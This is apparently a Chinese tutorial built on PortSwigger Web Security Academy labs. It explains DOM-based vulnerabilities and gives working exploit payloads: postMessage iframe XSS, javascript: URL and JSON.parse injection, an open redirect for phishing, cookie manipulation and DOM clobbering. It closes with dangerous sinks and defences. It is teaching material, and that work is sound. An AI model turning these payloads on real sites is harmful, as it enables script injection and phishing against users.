一、DOM 的漏洞介绍
DOM漏洞是指网页前端代码中由于程序设计缺陷而导致攻击者可以利用特定的操作方式来窃取用户信息或者进行其他的恶意行为的一种安全漏洞。
DOM(Document Object Model,文档对象模型)是一种表示网页文档结构的对象模型,用来访问和操作HTML和XML文档的内容。
攻击者可以通过修改网页中的DOM节点或者执行恶意脚本来窃取用户的敏感信息或者进行其他恶意行为。
二、DOM 的漏洞利用方式
1、使用 Web 消息的 DOM XSS
通过前端页面发现存在:
//创建监听器并接受消息
window.addEventListener('message', function(e) {
//向ads对象插入内容
document.getElementById('ads').innerHTML = e.data; })
可通过以下代码进行传递消息并利用。
<iframe src="https://0a0400e30480bfcdc17e1c86008500e8.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
2、使用 Web 消息和 JavaScript URL 的 DOM XSS
当发送消息包含http或https 且长度大于1,将进行跳转。
<iframe src="https://0adb0079041ef30fc01b1d4b007000d6.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
3、使用 Web 消息和 DOM XSSJSON.parse
//接受web消息
window.addEventListener('message', function(e) {
//创建ifeame元素,并赋值ACMEplayer
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
//iframe元素能够被正确渲染和显示在页面上。
document.body.appendChild(iframe);
try {
能否被json解析
d = JSON.parse(e.data);
}
catch(e) {
return;
}
switch(d.type) {
case "page-load":
//浏览器滚动到元素的位置
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
//导致加载新网页
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
//这将调整元素的大小
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
利用代码:
<iframe src=https://YOUR-LAB-ID.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
4、基于 DOM 的开放重定向(用于钓鱼)
https://YOUR-LAB-ID.web-security-academy.net/post?postId=4&url=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/
5、基于 DOM 的 Cookie 操作
url处存在注入点:
可通过 Cookie修改url进行注入:
首次加载时,浏览器会暂时打开恶意 URL,然后将cookie中lastViewedProduc保存为 cookie 的值。事件处理程序确保受害者随后立即重定向到该页面上。
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://YOUR-LAB-ID.web-security-academy.net';window.x=1;">
6、利用 DOM 破坏来启用 XSS
存在漏洞处:
利用方式:由于两个定位点使用相同的 ID,因此 DOM 将它们组合在一个 DOM 集合中。然后,DOM 破坏向量用这个 DOM 集合覆盖引用。属性用于最后一个元素,以便破坏指向外部脚本的对象的属性
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
三、哪些接收器可导致基于 DOM 的漏洞
写入: document.write()
打开重定向: indow.location
cookie:document.cookie
JavaScript 注入: eval()
文档域操作 : document.domain
WebSocket-URL中毒 :WebSocket()
链接操作:element.src
网络消息操作: postMessage()
Ajax 请求标头操作 :setRequestHeader()
本地文件路径操作:FileReader.readAsText()
客户端 SQL 注入:ExecuteSql()
HTML5 存储操作 : sessionStorage.setItem()
客户端 XPath 注入:document.evaluate()
客户端 JSON 注入: JSON.parse()
DOM 数据操作: element.setAttribute()
拒绝服务: RegExp()
四、DOM 漏洞的常见防御措施
验证用户输入:开发人员应该验证用户输入并确保它们是符合预期的数据类型、格式、长度和值。
使用安全的 API:使用安全的 JavaScript API,如 'textContent
缩小攻击面:尽量减少暴露 DOM 接口和 API 的数量。
禁用危险的 JavaScript 函数:应该禁用一些危险的 JavaScript 函数,如 'eval
强制使用 HTTPS:使用 HTTPS 连接来避免攻击者篡改传输过程中的数据。
使用浏览器内置防御机制:现代浏览器内置了一些安全机制,如沙箱和 CSP,可以帮
助防止 DOM 漏洞。
使用可靠的第三方库:使用受信任的第三方库,并确保它们不会暴露应用程序的漏洞。